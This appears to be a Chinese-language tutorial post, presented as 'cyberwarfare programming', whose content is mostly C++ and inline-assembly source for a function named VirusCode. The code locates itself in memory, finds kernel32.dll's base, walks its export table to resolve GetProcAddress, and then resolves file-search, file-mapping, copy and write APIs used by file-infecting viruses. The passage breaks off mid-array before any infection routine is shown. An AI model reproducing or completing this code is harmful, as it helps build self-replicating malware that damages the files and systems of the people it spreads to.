我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,
我们如何实现程序的自我复制呢,
请见代码
- #include <iostream.h>
- #include <windows.h>
- #include <stdio.h>
- //////////////////////////////////////////////////////////////////////////
- //*******************************************************************
- //*******以下为程序代码*******
- //*******此段代码首先动态获取API入口地址
- //*******然后实现代码的自我复制
- //*******************************************************************
- //////////////////////////////////////////////////////////////////////////
- void VirusCode()
- {
- //////////////////////////////////////////////////////////////////////////
- // *******以下代码用于获取本函数在内存中的起始地址*******
- // *******本函数功能相对独立*******
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- // *******变量说明*******
- // **dwCodeBegin :本函数的开始地址
- // **dwCodeEnd :本函数的结束地址
- // **dwMyCodeAddr :自己写的代码的开始地址
- //////////////////////////////////////////////////////////////////////////
- DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;
- // *******指针变量*******
- PBYTE pMove = NULL;
- // *******动态获取自己写的代码的开始地址*******
- _asm
- {
- call A
- A:
- pop eax
- mov dwMyCodeAddr , eax
- }
- // *******把地址赋给变量*******
- pMove = (PBYTE)dwMyCodeAddr;
- // *******向前搜索得到函数的真正入口地址*******
- while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
- {
- pMove --;
- }
- // *******此时pMove指向函数的入口push ebp处*******
- dwCodeBegin = (DWORD)pMove;
- //cout << "开始地址为:" << hex << dwCodeBegin << endl;
- // *******从自己写的代码处向后搜索*******
- pMove = (PBYTE)dwMyCodeAddr;
- while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)
- && (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))
- {
- pMove ++;
- }
- pMove += 9;
- // *******此时pMove指向ret的前一条指令pop ebp处*******
- dwCodeEnd = (DWORD)pMove;
- DWORD dwFunCodeLen;
- dwFunCodeLen = dwCodeEnd - dwCodeBegin;
- //////////////////////////////////////////////////////////////////////////
- // *******上面为获取本函数的起始与结束地址*******
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- // *******下面动态获取API入口地址
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- // *******定义用到的字符串*******
- char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
- char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
- DWORD KernelBase;
- // *******获取本程序结束后的返回地址,此地址必须在开始处获得*******
- _asm
- {
- mov eax , [ebp+4]
- mov KernelBase,eax
- }
- //////////////////////////////////////////////////////////////////////////
- // *******以下通过变换得到Kernel32.dll的基址*******
- //////////////////////////////////////////////////////////////////////////
- KernelBase = KernelBase & 0Xffff0000;
- // *******检查是否到了kernel32.dll的装载基址*******
- IMAGE_DOS_HEADER *doshead;
- while(KernelBase >= 0X70000000)
- {
- // *******首先检查dos文件头*******
- doshead = (IMAGE_DOS_HEADER*)KernelBase;
- if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
- {
- // *******再检查NT文件头*******
- IMAGE_NT_HEADERS* nthead;
- nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
- if(nthead->Signature == IMAGE_NT_SIGNATURE)
- {
- break;
- }
- }
- KernelBase-=0x10000;
- }
- //////////////////////////////////////////////////////////////////////////
- // *******以下通过搜索kernel32.dll得到GetProcAddress的地址*******
- //////////////////////////////////////////////////////////////////////////
- DWORD AddrOfGetProcAddr , AddrOfLoadLib;
- IMAGE_DOS_HEADER* pFile1; //指向dos文件头
- IMAGE_NT_HEADERS* pFile2; //指向nt文件头
- // *******检查文件的合法性*******
- pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
- if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)
- {
- return;
- }
- pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
- if(pFile2->Signature != IMAGE_NT_SIGNATURE)
- {
- return;
- }
- IMAGE_EXPORT_DIRECTORY *pExport;
- pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
- // *******以下在导出表中搜索名字为"GetProcAddress"的函数地址*******
- char *FunName;
- DWORD *AddrOfNameRVA;
- WORD *AddrOfNameOrRVA;
- AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
- for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
- {
- FunName = (char*)(KernelBase + AddrOfNameRVA[i]);
- // *******函数名与字符串"GetProcAddress"进行比较*******
- BOOL eql = 1;
- for (int j = 0 ; j < 15 ; j ++)
- {
- if (GetProcAddrName[j] != FunName[j])
- {
- eql = 0;
- break;
- }
- }
- // *******如果字符串相等了,说明找到了*******
- if (eql)
- {
- AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);
- int num = 0;
- num = pExport->Base + AddrOfNameOrRVA[i];
- DWORD *AddrOfFun;
- AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
- AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
- break;
- }
- }
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- // *******以下集中获取要用到的API入口地址*******
- //////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////
- // *******定义GetProcAddress函数类型*******
- typedef DWORD (WINAPI *stGetProcAddress)(HMODULE ,
LPCSTR); - // *******定义LoadLibraryA函数地址*******
- typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);
- // *******调用GetProcAddress获取LoadLibrary地址*******
- // *******定义GetProcAddress函数变量*******
- stGetProcAddress myGetProcAddress;
- // *******给函数赋地址*******
- myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;
- // *******调用GetProcAddress*******
- AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);
- // *******定义LoadLibrary函数变量*******
- stLoadLibrary myLoadLibrary;
- // *******给函数赋地址*******
- myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;
- char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};
- DWORD User32Base; //存放user32.dll的基址
- // *******得到user32.dll的基址*******
- User32Base = myLoadLibrary(User32Name);
- //////////////////////////////////////////////////////////////////////////
- // *****获取CreateFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR ,
DWORD , DWORD , LPSECURITY_ATTRIBUTES ,
- DWORD ,
DWORD , HANDLE);
- // *****定义函数变量*****
- stCreateFile myCreateFile;
- // *****定义函数名称字符串*****
- char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
- // *****获得函数地址*****
- myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取CreateFileMapping函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,
- DWORD , DWORD ,
DWORD , LPCTSTR );
- // *****定义函数变量*****
- stCreateFileMapping myCreateFileMapping;
- // *****定义函数名称字符串*****
- char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',
- 'M','a','p','p','i','n','g','A','\0'};
- // *****获得函数地址*****
- myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,
- CreateFileMappingName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取MapViewOfFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE ,
DWORD , DWORD ,
DWORD , DWORD);
- // *****定义函数变量*****
- stMapViewOfFile myMapViewOfFile;
- // *****定义函数名称字符串*****
- char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
- // *****获得函数地址*****
- myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,
- MapViewOfFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取GlobalAlloc函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT ,
SIZE_T); - // *****定义函数变量*****
- stGlobalAlloc myGlobalAlloc;
- // *****定义函数名称字符串*****
- char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};
- // *****获得函数地址*****
- myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,
- GlobalAllocName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取RtlMoveMemory函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef void (WINAPI *stRtlMoveMemory)(PVOID ,
const VOID* ,
SIZE_T ); - // *****定义函数变量*****
- stRtlMoveMemory myRtlMoveMemory;
- // *****定义函数名称字符串*****
- char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};
- // *****获得函数地址*****
- myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,
- RtlMoveMemoryName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取SetFilePointer函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef DWORD (WINAPI *stSetFilePointer)(HANDLE ,
LONG , PLONG ,
DWORD); - // *****定义函数变量*****
- stSetFilePointer mySetFilePointer;
- // *****定义函数名称字符串*****
- char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};
- // *****获得函数地址*****
- mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,
- SetFilePointerName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取WriteFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stWriteFile)(HANDLE ,
LPCVOID , DWORD ,
LPDWORD , LPOVERLAPPED); - // *****定义函数变量*****
- stWriteFile myWriteFile;
- // *****定义函数名称字符串*****
- char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};
- // *****获得函数地址*****
- myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,
- WriteFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取SetEndOfFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);
- // *****定义函数变量*****
- stSetEndOfFile mySetEndOfFile;
- // *****定义函数名称字符串*****
- char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};
- // *****获得函数地址*****
- mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,
- SetEndOfFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取CloseHandle函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stCloseHandle)(HANDLE);
- // *****定义函数变量*****
- stCloseHandle myCloseHandle;
- // *****定义函数名称字符串*****
- char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
- // *****获得函数地址*****
- myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,
- CloseHandleName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取UnmapViewOfFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);
- // *****定义函数变量*****
- stUnmapViewOfFile myUnmapViewOfFile;
- // *****定义函数名称字符串*****
- char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
- // *****获得函数地址*****
- myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,
- UnmapViewOfFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取FindFirstFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);
- // *****定义函数变量*****
- stFindFirstFile myFindFirstFile;
- // *****定义函数名称字符串*****
- char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};
- // *****获得函数地址*****
- myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,
- FindFirstFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取CopyFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stCopyFile)(LPCTSTR ,
LPCTSTR , BOOL);
- // *****定义函数变量*****
- stCopyFile myCopyFile;
- // *****定义函数名称字符串*****
- char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};
- // *****获得函数地址*****
- myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,
- CopyFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取FindNextFile函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);
- // *****定义函数变量*****
- stFindNextFile myFindNextFile;
- // *****定义函数名称字符串*****
- char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};
- // *****获得函数地址*****
- myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,
- FindNextFileName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取FindClose函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef BOOL (WINAPI *stFindClose)(HANDLE);
- // *****定义函数变量*****
- stFindClose myFindClose;
- // *****定义函数名称字符串*****
- char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};
- // *****获得函数地址*****
- myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,
- FindCloseName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取lstrcat函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR ,
LPTSTR); - // *****定义函数变量*****
- stlstrcat mylstrcat;
- // *****定义函数名称字符串*****
- char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};
- // *****获得函数地址*****
- mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,
- lstrcatName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取lstrcpy函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR ,
LPTSTR); - // *****定义函数变量*****
- stlstrcpy mylstrcpy;
- // *****定义函数名称字符串*****
- char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};
- // *****获得函数地址*****
- mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,
- lstrcpyName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取lstrlen函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef int (WINAPI *stlstrlen)(LPCTSTR);
- // *****定义函数变量*****
- stlstrlen mylstrlen;
- // *****定义函数名称字符串*****
- char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};
- // *****获得函数地址*****
- mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,
- lstrlenName);
- //////////////////////////////////////////////////////////////////////////
- // *****获取RtlZeroMemory函数地址*****
- //////////////////////////////////////////////////////////////////////////
- // *****首先定义函数类型*****
- typedef void (WINAPI *stRtlZeroMemory)(PVOID ,
SIZE_T); - // *****定义函数变量*****
- stRtlZeroMemory myRtlZeroMemory;
- // *****定义函数名称字符串*****
- char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o',